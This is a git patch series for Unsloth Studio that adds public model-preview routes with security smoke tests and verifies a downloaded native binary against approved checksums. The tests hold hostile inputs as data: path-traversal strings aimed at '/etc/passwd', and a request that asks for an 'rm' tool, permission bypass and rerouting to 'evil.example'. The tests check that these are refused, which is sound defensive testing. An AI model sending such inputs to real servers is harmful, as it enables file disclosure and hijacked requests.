@@ -27,6 +27,7 @@ from storage.studio_db import (
     list_runs,
     update_run_display_name,
 )
+from utils.models.checkpoints import has_preview_model, preview_ref
 
 logger = get_logger(__name__)
 
@@ -42,7 +43,17 @@ async def list_training_runs(
     """List training runs, newest first."""
     result = list_runs(limit = limit, offset = offset)
     return TrainingRunListResponse(
-        runs = [TrainingRunSummary(**{**r, "can_resume": can_resume_run(r)}) for r in result["runs"]],
+        runs = [
+            TrainingRunSummary(
+                **{
+                    **r,
+                    "can_resume": can_resume_run(r),
+                    "has_preview_model": has_preview_model(r.get("output_dir")),
+                    "preview_ref": preview_ref(r.get("output_dir")),
+                }
+            )
+            for r in result["runs"]
+        ],
         total = result["total"],
     )
 
@@ -67,6 +78,8 @@ async def get_training_run_detail(run_id: str, current_subject: str = Depends(ge
             **{
                 **{k: v for k, v in run.items() if k != "config_json"},
                 "can_resume": can_resume_run(run),
+                "has_preview_model": has_preview_model(run.get("output_dir")),
+                "preview_ref": preview_ref(run.get("output_dir")),
             }
         ),
         config = config,
@@ -98,6 +111,8 @@ async def update_training_run(
         **{
             **{k: v for k, v in refreshed.items() if k != "config_json"},
             "can_resume": can_resume_run(refreshed),
+            "has_preview_model": has_preview_model(refreshed.get("output_dir")),
+            "preview_ref": preview_ref(refreshed.get("output_dir")),
         }
     )
 
diff --git a/studio/backend/run.py b/studio/backend/run.py
index 481fd623f3..9cb7868949 100644
--- a/studio/backend/run.py
+++ b/studio/backend/run.py
@@ -1095,7 +1095,10 @@ def run_server(
     app.state.server_port = port if port and port > 0 else None
     # Direct (non-tunnel) base for the API panel; resolve 0.0.0.0 to the LAN IP.
     if port and port > 0:
-        _direct_host = _resolve_external_ip() if host == "0.0.0.0" else host
+        _direct_host = _resolve_external_ip() if host in ("0.0.0.0", "::") else host
+        # Bracket IPv6 literals so the URL is valid (http://[2405:...]:port).
+        if ":" in _direct_host and not _direct_host.startswith("["):
+            _direct_host = f"[{_direct_host}]"
         app.state.server_url = f"http://{_direct_host}:{port}"
     else:
         app.state.server_url = None
diff --git a/studio/backend/state/tool_policy.py b/studio/backend/state/tool_policy.py
index 9b0fc7d6cb..e0792321f9 100644
--- a/studio/backend/state/tool_policy.py
+++ b/studio/backend/state/tool_policy.py
@@ -10,15 +10,34 @@ Set by `unsloth run` at startup; consulted by the inference route gates.
   False -> CLI forced tools off for every request.
 """
 
-from typing import Optional
+import contextvars
+from contextlib import contextmanager
+from typing import Iterator, Optional
 
 _tool_policy: Optional[bool] = None
 
+# Per-request hard-off so public surfaces refuse tools even under a CLI `--enable-tools`.
+_force_disabled: contextvars.ContextVar[bool] = contextvars.ContextVar(
+    "tool_policy_force_disabled", default = False
+)
+
 
 def get_tool_policy() -> Optional[bool]:
+    if _force_disabled.get():
+        return False
     return _tool_policy
 
 
+@contextmanager
+def tools_force_disabled() -> Iterator[None]:
+    """Hard-disable server-side tools for the current async context."""
+    token = _force_disabled.set(True)
+    try:
+        yield
+    finally:
+        _force_disabled.reset(token)
+
+
 def set_tool_policy(value: Optional[bool]) -> None:
     if value is not None and not isinstance(value, bool):
         raise TypeError(f"tool_policy must be Optional[bool], got {type(value).__name__}")
diff --git a/studio/backend/tests/test_preview.py b/studio/backend/tests/test_preview.py
new file mode 100644
index 0000000000..e131f99951
--- /dev/null
+++ b/studio/backend/tests/test_preview.py
@@ -0,0 +1,134 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import json
+from pathlib import Path
+import sys
+import types as _types
+
+import pytest
+
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+_loggers_stub = _types.ModuleType("loggers")
+_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
+sys.modules.setdefault("loggers", _loggers_stub)
+
+from utils.models.checkpoints import (
+    list_preview_targets,
+    preview_ref,
+    resolve_preview_checkpoint,
+)
+
+
+def _make_run(outputs: Path) -> tuple[Path, Path]:
+    run = outputs / "unsloth_SmolLM-135M_1775412608"
+    run.mkdir(parents = True)
+    (run / "adapter_config.json").write_text(
+        json.dumps({"base_model_name_or_path": "HuggingFaceTB/SmolLM-135M"})
+    )
+    ckpt = run / "checkpoint-60"
+    ckpt.mkdir()
+    (ckpt / "adapter_config.json").write_text(
+        json.dumps({"base_model_name_or_path": "HuggingFaceTB/SmolLM-135M"})
+    )
+    return run, ckpt
+
+
+def _point_outputs_root_at(monkeypatch, outputs: Path) -> None:
+    from utils.paths import storage_roots as _sr
+    from utils.models import checkpoints as _ckpt
+
+    monkeypatch.setattr(_sr, "outputs_root", lambda: outputs)
+    # checkpoints imported outputs_root by name; patch that alias too (preview_ref uses it).
+    monkeypatch.setattr(_ckpt, "outputs_root", lambda: outputs)
+
+
+def test_resolve_main_adapter_and_checkpoint(tmp_path: Path, monkeypatch):
+    outputs = tmp_path / "outputs"
+    run, ckpt = _make_run(outputs)
+    _point_outputs_root_at(monkeypatch, outputs)
+
+    assert resolve_preview_checkpoint(run.name) == run
+    assert resolve_preview_checkpoint(run.name, "checkpoint-60") == ckpt
+
+
+def test_resolve_missing_raises_not_found(tmp_path: Path, monkeypatch):
+    outputs = tmp_path / "outputs"
+    _make_run(outputs)
+    _point_outputs_root_at(monkeypatch, outputs)
+
+    with pytest.raises(FileNotFoundError):
+        resolve_preview_checkpoint("does-not-exist")
+    (outputs / "empty").mkdir()
+    with pytest.raises(FileNotFoundError):
+        resolve_preview_checkpoint("empty")
+
+
+def test_resolve_rejects_traversal(tmp_path: Path, monkeypatch):
+    outputs = tmp_path / "outputs"
+    _make_run(outputs)
+    _point_outputs_root_at(monkeypatch, outputs)
+
+    with pytest.raises(ValueError):
+        resolve_preview_checkpoint("..", "etc")
+
+
+def test_list_preview_targets_flattens_with_latest_flag(tmp_path: Path, monkeypatch):
+    outputs = tmp_path / "outputs"
+    run, _ = _make_run(outputs)
+    _point_outputs_root_at(monkeypatch, outputs)
+
+    targets = list_preview_targets(str(outputs))
+    by_ref = {t["ref"]: t for t in targets}
+
+    assert by_ref[run.name]["is_latest"] is True
+    assert by_ref[run.name]["checkpoint"] is None
+    assert by_ref[f"{run.name}/checkpoint-60"]["is_latest"] is False
+    assert by_ref[f"{run.name}/checkpoint-60"]["checkpoint"] == "checkpoint-60"
+    assert all(t["base_model"] == "HuggingFaceTB/SmolLM-135M" for t in targets)
+
+
+def test_preview_ref_flat_run_is_basename(tmp_path: Path, monkeypatch):
+    outputs = tmp_path / "outputs"
+    run, _ = _make_run(outputs)
+    _point_outputs_root_at(monkeypatch, outputs)
+
+    assert preview_ref(str(run)) == run.name
+
+
+def test_preview_ref_preserves_one_level_nesting(tmp_path: Path, monkeypatch):
+    outputs = tmp_path / "outputs"
+    _point_outputs_root_at(monkeypatch, outputs)
+    nested = outputs / "experiments" / "run1"
+    nested.mkdir(parents = True)
+    (nested / "adapter_config.json").write_text("{}")
+
+    # /p route supports run/checkpoint, so a single level of nesting survives.
+    assert preview_ref(str(nested)) == "experiments/run1"
+
+
+def test_preview_ref_none_for_unpreviewable_or_too_deep(tmp_path: Path, monkeypatch):
+    outputs = tmp_path / "outputs"
+    _point_outputs_root_at(monkeypatch, outputs)
+
+    # Missing / no model artifact -> not previewable.
+    assert preview_ref(None) is None
+    empty = outputs / "empty"
+    empty.mkdir(parents = True)
+    assert preview_ref(str(empty)) is None
+
+    # Too deep for the two-segment /p route -> no dead link.
+    deep = outputs / "a" / "b" / "run"
+    deep.mkdir(parents = True)
+    (deep / "adapter_config.json").write_text("{}")
+    assert preview_ref(str(deep)) is None
+
+    # Outside outputs_root -> None.
+    outside = tmp_path / "elsewhere"
+    outside.mkdir()
+    (outside / "adapter_config.json").write_text("{}")
+    assert preview_ref(str(outside)) is None
diff --git a/studio/backend/tests/test_preview_routes.py b/studio/backend/tests/test_preview_routes.py
new file mode 100644
index 0000000000..d6edd4ef4d
--- /dev/null
+++ b/studio/backend/tests/test_preview_routes.py
@@ -0,0 +1,293 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Security smoke for the public /p preview routes.
+
+Exercises the route layer with a real ``preview_router`` while stubbing the
+expensive model calls (``load_model`` / ``openai_chat_completions``). Covers the
+public-surface guarantees: path-traversal rejection, request sanitization
+(tools / provider routing / use_adapter), asset-path containment, the page CSP
+header + HTML escaping, and that the preview lock is held until a streaming
+response is fully drained.
+"""
+
+import asyncio
+import json
+from pathlib import Path
+import sys
+import types as _types
+
+import pytest
+
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+# Mirror test_preview.py: the real `loggers` package pulls in heavy handlers.
+_loggers_stub = _types.ModuleType("loggers")
+_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
+sys.modules.setdefault("loggers", _loggers_stub)
+
+from fastapi import FastAPI
+from fastapi.responses import StreamingResponse
+from fastapi.testclient import TestClient
+
+import routes.preview as preview
+from models.inference import ChatCompletionRequest
+
+
+def _make_run(outputs: Path, name: str = "demorun") -> Path:
+    run = outputs / name
+    run.mkdir(parents = True)
+    (run / "adapter_config.json").write_text(
+        json.dumps({"base_model_name_or_path": "HuggingFaceTB/SmolLM-135M"})
+    )
+    ckpt = run / "checkpoint-1"
+    ckpt.mkdir()
+    (ckpt / "adapter_config.json").write_text("{}")
+    return run
+
+
+@pytest.fixture
+def captured():
+    return {}
+
+
+@pytest.fixture
+def client(tmp_path, monkeypatch, captured):
+    outputs = tmp_path / "outputs"
+    _make_run(outputs)
+
+    # resolve_preview_checkpoint -> resolve_output_dir -> outputs_root().
+    from utils.paths import storage_roots as _sr
+
+    monkeypatch.setattr(_sr, "outputs_root", lambda: outputs)
+
+    async def _fake_load_model(load_req, request, subject):
+        captured["load_path"] = load_req.model_path
+        return None
+
+    async def _fake_chat(payload, request, subject):
+        captured["payload"] = payload
+        return {"ok": True}
+
+    monkeypatch.setattr(preview, "load_model", _fake_load_model)
+    monkeypatch.setattr(preview, "openai_chat_completions", _fake_chat)
+
+    app = FastAPI()
+    app.include_router(preview.router, prefix = "/p")
+    app.dependency_overrides[preview.get_current_subject] = lambda: "admin"
+    # raise_server_exceptions=False so a 5xx surfaces as a response, not a throw.
+    return TestClient(app, raise_server_exceptions = False)
+
+
+# ── Page rendering ────────────────────────────────────────────────────────
+
+
+def test_page_renders_with_csp(client):
+    r = client.get("/p/demorun")
+    assert r.status_code == 200
+    assert "text/html" in r.headers["content-type"]
+    csp = r.headers.get("content-security-policy", "")
+    assert "default-src 'self'" in csp
+    assert "base-uri 'none'" in csp
+
+
+def test_page_escapes_title(tmp_path, monkeypatch, captured):
+    outputs = tmp_path / "outputs"
+    # Run dir name carries an HTML-special char; the page must escape it.
+    _make_run(outputs, name = "a<b")
+    from utils.paths import storage_roots as _sr
+
+    monkeypatch.setattr(_sr, "outputs_root", lambda: outputs)
+
+    app = FastAPI()
+    app.include_router(preview.router, prefix = "/p")
+    c = TestClient(app, raise_server_exceptions = False)
+
+    r = c.get("/p/a%3Cb")
+    assert r.status_code == 200
+    assert "a<b" not in r.text
+    assert "a&lt;b" in r.text
+
+
+def test_models_endpoint_shape(client):
+    r = client.get("/p/demorun/v1/models")
+    assert r.status_code == 200
+    body = r.json()
+    assert body["object"] == "list"
+    assert body["data"][0]["id"] == "demorun"
+    assert body["data"][0]["owned_by"] == "unsloth-studio"
+
+
+def test_list_previews_builds_urls(client, monkeypatch):
+    monkeypatch.setattr(
+        preview,
+        "list_preview_targets",
+        lambda: [{"ref": "demorun", "is_latest": True}],
+    )
+    r = client.get("/p")
+    assert r.status_code == 200
+    data = r.json()["data"]
+    assert data[0]["url"].endswith("/p/demorun/v1")
+
+
+# ── Path traversal / containment ────────────────────────────────────────────
+
+
+@pytest.mark.parametrize(
+    "path",
+    [
+        "/p/..",  # parent segment as run
+        "/p/%2e%2e/etc",  # encoded traversal
+        "/p/..%2f..%2fetc/v1/models",  # encoded slash traversal
+        "/p/does-not-exist",  # unknown run
+    ],
+)
+def test_traversal_and_missing_rejected(client, path):
+    r = client.get(path)
+    assert r.status_code in (400, 404), (path, r.status_code)
+
+
+def test_chat_traversal_rejected(client):
+    r = client.post(
+        "/p/..%2f..%2fetc/v1/chat/completions",
+        json = {"messages": [{"role": "user", "content": "hi"}]},
+    )
+    assert r.status_code in (400, 404)
+
+
+# ── Asset containment ────────────────────────────────────────────────────────
+
+
+@pytest.mark.parametrize(
+    "asset",
+    [
+        "../../../../etc/passwd",  # escapes dist
+        "secrets.txt",  # non-allowlisted suffix
+        "nope.png",  # allowlisted suffix but missing
+    ],
+)
+def test_asset_path_contained(client, asset):
+    r = client.get(f"/p/_assets/{asset}")
+    assert r.status_code == 404
+
+
+# ── Request sanitization ─────────────────────────────────────────────────────
+
+
+def test_chat_payload_sanitized(client, captured):
+    r = client.post(
+        "/p/demorun/v1/chat/completions",
+        json = {
+            "messages": [{"role": "user", "content": "hi"}],
+            "tools": [{"type": "function", "function": {"name": "rm", "parameters": {}}}],
+            "enable_tools": True,
+            "enabled_tools": ["python"],
+            "mcp_enabled": True,
+            "bypass_permissions": True,
+            "provider_id": "p1",
+            "provider_type": "custom",
+            "provider_base_url": "http://evil.example/v1",
+            "external_model": "gpt-4o",
+            "use_adapter": False,
+            "confirm_tool_calls": True,
+            "session_id": "abc",
+            "rag_scope": {"project_id": "x"},
+        },
+    )
+    assert r.status_code == 200
+    p = captured["payload"]
+    assert isinstance(p, ChatCompletionRequest)
+    # Tools / code-exec off.
+    assert p.tools is None
+    assert p.enable_tools is False
+    assert p.enabled_tools is None
+    assert p.mcp_enabled is False
+    assert p.bypass_permissions is False
+    # Tool-loop levers neutralized regardless of the tool gate.
+    assert p.confirm_tool_calls is False
+    assert p.session_id is None
+    assert p.rag_scope is None
+    # Provider routing stripped so /p can't proxy an arbitrary endpoint.
+    assert p.provider_id is None
+    assert p.provider_type is None
+    assert p.provider_base_url is None
+    assert p.external_model is None
+    # Adapter pinned on for LoRA: a caller can't flip the shared backend to base.
+    assert p.use_adapter is True
+    # Loads the resolved checkpoint dir, not an attacker-supplied path.
+    assert captured["load_path"].endswith("demorun")
+
+
+def test_merged_checkpoint_strips_use_adapter(tmp_path, monkeypatch, captured):
+    # Merged (non-LoRA) checkpoint: no adapter to toggle, so use_adapter -> None.
+    outputs = tmp_path / "outputs"
+    merged = outputs / "mergedrun"
+    merged.mkdir(parents = True)
+    (merged / "config.json").write_text(json.dumps({"_name_or_path": "some/base"}))
+
+    from utils.paths import storage_roots as _sr
+
+    monkeypatch.setattr(_sr, "outputs_root", lambda: outputs)
+
+    async def _fake_load(load_req, request, subject):
+        return None
+
+    async def _fake_chat(payload, request, subject):
+        captured["payload"] = payload
+        return {"ok": True}
+
+    monkeypatch.setattr(preview, "load_model", _fake_load)
+    monkeypatch.setattr(preview, "openai_chat_completions", _fake_chat)
+
+    app = FastAPI()
+    app.include_router(preview.router, prefix = "/p")
+    c = TestClient(app, raise_server_exceptions = False)
+    r = c.post(
+        "/p/mergedrun/v1/chat/completions",
+        json = {"messages": [{"role": "user", "content": "hi"}], "use_adapter": False},
+    )
+    assert r.status_code == 200
+    assert captured["payload"].use_adapter is None
+
+
+# ── Streaming lock lifetime ──────────────────────────────────────────────────
+
+
+def test_streaming_holds_lock_until_drained(tmp_path, monkeypatch, captured):
+    outputs = tmp_path / "outputs"
+    _make_run(outputs)
+    from utils.paths import storage_roots as _sr
+
+    monkeypatch.setattr(_sr, "outputs_root", lambda: outputs)
+
+    async def _fake_load_model(load_req, request, subject):
+        return None
+
+    async def _gen():
+        yield b"data: {}\n\n"
+        yield b"data: [DONE]\n\n"
+
+    async def _fake_chat(payload, request, subject):
+        return StreamingResponse(_gen())
+
+    monkeypatch.setattr(preview, "load_model", _fake_load_model)
+    monkeypatch.setattr(preview, "openai_chat_completions", _fake_chat)
+
+    async def _run():
+        assert not preview._preview_lock.locked()
+        payload = ChatCompletionRequest(messages = [{"role": "user", "content": "hi"}])
+        resp = await preview._serve_chat("demorun", None, payload, request = None)
+        # Lock must still be held: a second checkpoint must not swap the backend
+        # mid-stream.
+        assert preview._preview_lock.locked()
+        chunks = [c async for c in resp.body_iterator]
+        # Released only after the stream fully drains.
+        assert not preview._preview_lock.locked()
+        return chunks
+
+    chunks = asyncio.run(_run())
+    assert any(b"[DONE]" in c for c in chunks)
+    assert not preview._preview_lock.locked()
diff --git a/studio/backend/utils/api_errors.py b/studio/backend/utils/api_errors.py
index b1c55b61b9..cae8daf287 100644
--- a/studio/backend/utils/api_errors.py
+++ b/studio/backend/utils/api_errors.py
@@ -125,6 +125,12 @@ def is_anthropic_path(path: str) -> bool:
     return path.startswith("/v1/messages")
 
 
+def wants_api_error_envelope(path: str) -> bool:
+    """True for the OpenAI/Anthropic-compatible surfaces: the ``/v1/*`` mount and
+    the preview ``/p/<run>[/<ckpt>]/v1/*`` mount."""
+    return path.startswith("/v1/") or (path.startswith("/p/") and "/v1/" in path)
+
+
 def error_body_for_path(
     path,
     message,
@@ -183,15 +189,16 @@ def _summarize_validation_errors(errors) -> tuple:
 def install_api_error_handlers(app) -> None:
     """Register validation + HTTPException handlers that emit ``/v1/*`` envelopes.
 
-    Both handlers are global but only transform responses for paths starting with
-    ``/v1/``. Non-``/v1/`` paths reproduce FastAPI's default ``{"detail": ...}``
-    behavior exactly so the Studio frontend keeps working.
+    Both handlers are global but only transform responses for OpenAI/Anthropic-
+    compatible surfaces (see :func:`wants_api_error_envelope`: the ``/v1/*`` mount
+    and the preview ``/p/.../v1/*`` mount). Every other path reproduces FastAPI's
+    default ``{"detail": ...}`` behavior exactly so the Studio frontend keeps working.
     """
 
     @app.exception_handler(RequestValidationError)
     async def _handle_validation_error(request, exc):
         path = request.url.path
-        if path.startswith("/v1/"):
+        if wants_api_error_envelope(path):
             summary, param = _summarize_validation_errors(exc.errors())
             return JSONResponse(
                 status_code = 400,
@@ -211,7 +218,7 @@ def install_api_error_handlers(app) -> None:
         # default http_exception_handler, which returns a bodiless Response.
         if not is_body_allowed_for_status_code(exc.status_code):
             return Response(status_code = exc.status_code, headers = headers)
-        if path.startswith("/v1/"):
+        if wants_api_error_envelope(path):
             detail = exc.detail
             # Already a fully-formed envelope: pass through untouched.
             if isinstance(detail, dict) and ("error" in detail or detail.get("type") == "error"):
diff --git a/studio/backend/utils/models/checkpoints.py b/studio/backend/utils/models/checkpoints.py
index 63f599d0df..d174f6677b 100644
--- a/studio/backend/utils/models/checkpoints.py
+++ b/studio/backend/utils/models/checkpoints.py
@@ -159,3 +159,64 @@ def scan_checkpoints(
     except Exception as e:
         logger.error(f"Error scanning checkpoints: {e}")
         return []
+
+
+def _is_model_dir(path: Path) -> bool:
+    return (path / "config.json").exists() or (path / "adapter_config.json").exists()
+
+
+def has_preview_model(output_dir: Optional[str]) -> bool:
+    """True when ``output_dir`` holds a previewable root model (what ``/p/{run}``
+    resolves). A cancelled run keeps ``output_dir`` but saves no root adapter."""
+    if not output_dir:
+        return False
+    path = Path(output_dir)
+    return path.is_dir() and _is_model_dir(path)
+
+
+def preview_ref(output_dir: Optional[str]) -> Optional[str]:
+    """``/p`` ref (``run`` or ``run/checkpoint``) relative to outputs_root, or None.
+
+    Posix-joined so a nested output dir keeps a working link instead of collapsing
+    to its basename. None when not previewable, outside outputs_root, or deeper than
+    the two path segments the ``/p`` route matches (so the UI omits a dead link).
+    """
+    if not has_preview_model(output_dir):
+        return None
+    try:
+        rel = Path(output_dir).resolve().relative_to(outputs_root().resolve())
+    except (ValueError, OSError):
+        return None
+    parts = rel.parts
+    if not parts or len(parts) > 2:
+        return None
+    return "/".join(parts)
+
+
+def resolve_preview_checkpoint(run: str, checkpoint: Optional[str] = None) -> Path:
+    relative = run if not checkpoint else f"{run}/{checkpoint}"
+    path = resolve_output_dir(relative)
+    if not path.is_dir() or not _is_model_dir(path):
+        raise FileNotFoundError(
+            f"No trained checkpoint at '{relative}'. Check the run/checkpoint name (see GET /p)."
+        )
+    return path
+
+
+def list_preview_targets(outputs_dir: str = str(outputs_root())) -> List[dict]:
+    targets: List[dict] = []
+    for run_name, checkpoints, metadata in scan_checkpoints(outputs_dir):
+        for display_name, path, loss in checkpoints:
+            is_latest = display_name == run_name
+            checkpoint = None if is_latest else Path(path).name
+            targets.append(
+                {
+                    "run": run_name,
+                    "checkpoint": checkpoint,
+                    "ref": run_name if is_latest else f"{run_name}/{checkpoint}",
+                    "is_latest": is_latest,
+                    "loss": loss,
+                    "base_model": metadata.get("base_model"),
+                }
+            )
+    return targets
diff --git a/studio/frontend/src/features/studio/history-card-grid.tsx b/studio/frontend/src/features/studio/history-card-grid.tsx
index dbe7fff01b..75ef1c2d85 100644
--- a/studio/frontend/src/features/studio/history-card-grid.tsx
+++ b/studio/frontend/src/features/studio/history-card-grid.tsx
@@ -24,7 +24,10 @@ import {
   useTrainingRuntimeStore,
 } from "@/features/training";
 import { formatDuration } from "@/features/studio/sections/progress-section-lib";
+import { fetchDeviceType, usePlatformStore } from "@/config/env";
 import { cn } from "@/lib/utils";
+import { copyToClipboard } from "@/lib/copy-to-clipboard";
+import { toast } from "@/lib/toast";
 import { Delete02Icon } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 import { type ReactElement, useCallback, useEffect, useRef, useState } from "react";
@@ -194,6 +197,28 @@ export function HistoryCardGrid({
   const [manualFetchInFlight, setManualFetchInFlight] = useState(false);
   const { resumeTrainingRunFromHistory } = useTrainingActions();
   const isStarting = useTrainingRuntimeStore((state) => state.isStarting);
+  // Copy-link base: Cloudflare tunnel > LAN host:port > origin. The tunnel
+  // registers shortly after startup, so poll (bounded) until it shows.
+  const cloudflareUrl = usePlatformStore((s) => s.cloudflareUrl);
+  const serverUrl = usePlatformStore((s) => s.serverUrl);
+  useEffect(() => {
+    if (cloudflareUrl) return;
+    let cancelled = false;
+    void (async () => {
+      for (let attempt = 0; attempt < 12 && !cancelled; attempt++) {
+        try {
+          await fetchDeviceType({ force: true });
+        } catch {
+          // Ignore startup blips; copy-link falls back to serverUrl/origin.
+        }
+        if (cancelled || usePlatformStore.getState().cloudflareUrl) return;
+        await new Promise((r) => setTimeout(r, 2500));
+      }
+    })();
+    return () => {
+      cancelled = true;
+    };
+  }, [cloudflareUrl]);
 
   const userControllerRef = useRef<AbortController | null>(null);
   const pollControllerRef = useRef<AbortController | null>(null);
@@ -362,6 +387,8 @@ export function HistoryCardGrid({
           const isRunning = run.status === "running";
           const canResume = run.can_resume && !wasContinued;
           const isResuming = resumeTarget === run.id;
+          // Backend /p ref, gated on previewability + route-expressible depth.
+          const canCopyPreview = !!run.preview_ref;
           return (
             <div
               role="button"
@@ -372,7 +399,7 @@ export function HistoryCardGrid({
                 isRunning
                   ? "border-blue-400/50 dark:border-blue-500/30"
                   : "border-border/60",
-                canResume && "gap-2",
+                (canResume || canCopyPreview) && "gap-2",
               )}
               onClick={() => onSelectRun(run.id)}
               onKeyDown={(e) => {
@@ -411,6 +438,38 @@ export function HistoryCardGrid({
                   {isResuming ? t("studio.history.resuming") : t("studio.history.resumeTraining")}
                 </Button>
               )}
+              {canCopyPreview && (
+                <Button
+                  type="button"
+                  size="xs"
+                  variant="outline"
+                  className="absolute bottom-3 right-4 h-6 rounded-full px-2.5 text-[11px] leading-none shadow-sm"
+                  onClick={async (e) => {
+                    e.stopPropagation();
+                    // Encode each segment but keep "/" so the /p route matches.
+                    const ref = (run.preview_ref ?? "")
+                      .split("/")
+                      .map(encodeURIComponent)
+                      .join("/");
+                    const base = (
+                      cloudflareUrl ??
+                      serverUrl ??
+                      window.location.origin
+                    ).replace(/\/+$/, "");
+                    const url = `${base}/p/${ref}`;
+                    const ok = await copyToClipboard(url);
+                    toast[ok ? "success" : "error"](
+                      t(
+                        ok
+                          ? "studio.history.previewLinkCopied"
+                          : "studio.history.previewLinkCopyFailed",
+                      ),
+                    );
+                  }}
+                >
+                  {t("studio.history.copyPreviewLink")}
+                </Button>
+              )}
               <div className="min-w-0">
                 <p
                   className="truncate text-sm font-medium"
@@ -434,7 +493,7 @@ export function HistoryCardGrid({
                 </p>
               </div>
               {run.loss_sparkline && run.loss_sparkline.length >= 2 && (
-                <div className={cn(canResume && "h-7 overflow-hidden")}>
+                <div className={cn((canResume || canCopyPreview) && "h-7 overflow-hidden")}>
                   <Sparkline
                     values={run.loss_sparkline}
                     id={run.id}
diff --git a/studio/frontend/src/features/training/types/history.ts b/studio/frontend/src/features/training/types/history.ts
index 8207e4ad10..480a3daa6b 100644
--- a/studio/frontend/src/features/training/types/history.ts
+++ b/studio/frontend/src/features/training/types/history.ts
@@ -15,6 +15,8 @@ export interface TrainingRunSummary {
   output_dir: string | null;
   can_resume: boolean;
   resumed_later: boolean;
+  has_preview_model: boolean;
+  preview_ref: string | null;
   duration_seconds: number | null;
   error_message: string | null;
   loss_sparkline: number[] | null;
diff --git a/studio/frontend/src/i18n/locales/en.ts b/studio/frontend/src/i18n/locales/en.ts
index 885c0edd0e..84ab92bb8b 100644
--- a/studio/frontend/src/i18n/locales/en.ts
+++ b/studio/frontend/src/i18n/locales/en.ts
@@ -763,6 +763,9 @@ export const en = {
         running: "Training in progress",
         errored: "Training errored",
       },
+      copyPreviewLink: "Copy preview link",
+      previewLinkCopied: "Preview link copied",
+      previewLinkCopyFailed: "Couldn't copy the link",
     },
     charts: {
       settings: "Chart Settings",

From bd2438ea6580c7b12ea396be2f4975ca89af928e Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Wed, 24 Jun 2026 06:37:41 -0700
Subject: [PATCH 099/306] Verify DiffusionGemma visual-server binary against
 approved checksums (#6635)

ensure_diffusion_visual_server() downloaded the visual-server release
asset with the unverified download_file() and marked it executable,
bypassing the approved-checksum manifest that gates every other prebuilt
llama.cpp artifact. The backend later auto-discovers that binary and
launches it through DG_VISUAL_BIN, so a compromised or substituted
release asset could place attacker-controlled native code in the install
tree and have it executed under the Studio user.

Require the matched asset to be present in the approved checksum manifest
and download it through download_file_verified() with the published
sha256. A name-matching asset that is absent from the manifest is refused
rather than executed.

Add regression tests covering the verified-download path and the refusal
of an unapproved asset.
---
 studio/install_llama_prebuilt.py              |  44 +++++--
 .../test_install_llama_prebuilt_logic.py      | 119 ++++++++++++++++++
 2 files changed, 154 insertions(+), 9 deletions(-)

diff --git a/studio/install_llama_prebuilt.py b/studio/install_llama_prebuilt.py
index 33cb709ba7..c7f34e39f2 100644
--- a/studio/install_llama_prebuilt.py
+++ b/studio/install_llama_prebuilt.py
@@ -4261,7 +4261,10 @@ def ensure_converter_scripts(install_dir: Path, llama_tag: str) -> None:
 
 
 def ensure_diffusion_visual_server(
-    install_dir: Path, host: HostInfo, release_tag: str | None
+    install_dir: Path,
+    host: HostInfo,
+    release_tag: str | None,
+    approved_checksums: ApprovedReleaseChecksums,
 ) -> None:
     """Best-effort placement of the DiffusionGemma visual-server binary next to
     llama-server in the install tree, so Studio can serve DiffusionGemma GGUFs
@@ -4293,6 +4296,7 @@ def ensure_diffusion_visual_server(
     try:
         assets = github_release_assets(DEFAULT_PUBLISHED_REPO, release_tag)
         match = None
+        unapproved_matches: list[str] = []
         for asset_name, url in assets.items():
             low = asset_name.lower()
             if "llama-diffusion-gemma-visual-server" not in low:
@@ -4301,19 +4305,39 @@ def ensure_diffusion_visual_server(
                 continue
             if (not host.is_windows) and low.endswith(".exe"):
                 continue
-            match = (asset_name, url)
+            # This binary is chmod'd executable and later launched by the
+            # backend, so it must be covered by the approved checksum manifest
+            # just like every other prebuilt artifact. An asset that matches the
+            # name but is missing from the manifest is refused rather than run.
+            approved = approved_checksums.artifacts.get(asset_name)
+            if approved is None:
+                unapproved_matches.append(asset_name)
+                continue
+            match = (asset_name, url, approved.sha256)
             break
         if match is None:
-            log(
-                "diffusion visual server not found in the published release; native "
-                "DiffusionGemma serving needs DG_VISUAL_BIN or a source build"
-            )
+            if unapproved_matches:
+                log(
+                    "diffusion visual server asset(s) were present but omitted from the "
+                    "approved checksum manifest; refusing unverified native executable: "
+                    + ", ".join(unapproved_matches)
+                )
+            else:
+                log(
+                    "diffusion visual server not found in the published release; native "
+                    "DiffusionGemma serving needs DG_VISUAL_BIN or a source build"
+                )
             return
         bin_dir.mkdir(parents = True, exist_ok = True)
-        download_file(match[1], target)
+        download_file_verified(
+            match[1],
+            target,
+            expected_sha256 = match[2],
+            label = f"diffusion visual server {match[0]}",
+        )
         if not host.is_windows:
             target.chmod(0o755)
-        log(f"installed diffusion visual server: {match[0]}")
+        log(f"installed verified diffusion visual server: {match[0]}")
     except Exception as exc:
         log(
             "diffusion visual server fetch skipped "
@@ -6637,7 +6661,9 @@ def install_prebuilt(
                             f"({textwrap.shorten(str(exc), width = 200, placeholder = '...')})"
                         )
                     try:
-                        ensure_diffusion_visual_server(install_dir, host, plan.release_tag)
+                        ensure_diffusion_visual_server(
+                            install_dir, host, plan.release_tag, plan.approved_checksums
+                        )
                     except Exception as exc:
                         log(
                             "diffusion visual server step skipped; install remains valid "
diff --git a/tests/studio/install/test_install_llama_prebuilt_logic.py b/tests/studio/install/test_install_llama_prebuilt_logic.py
index a5a1131ecc..9ee8759bb4 100644
--- a/tests/studio/install/test_install_llama_prebuilt_logic.py
+++ b/tests/studio/install/test_install_llama_prebuilt_logic.py
@@ -37,6 +37,41 @@ install_prebuilt = INSTALL_LLAMA_PREBUILT.install_prebuilt
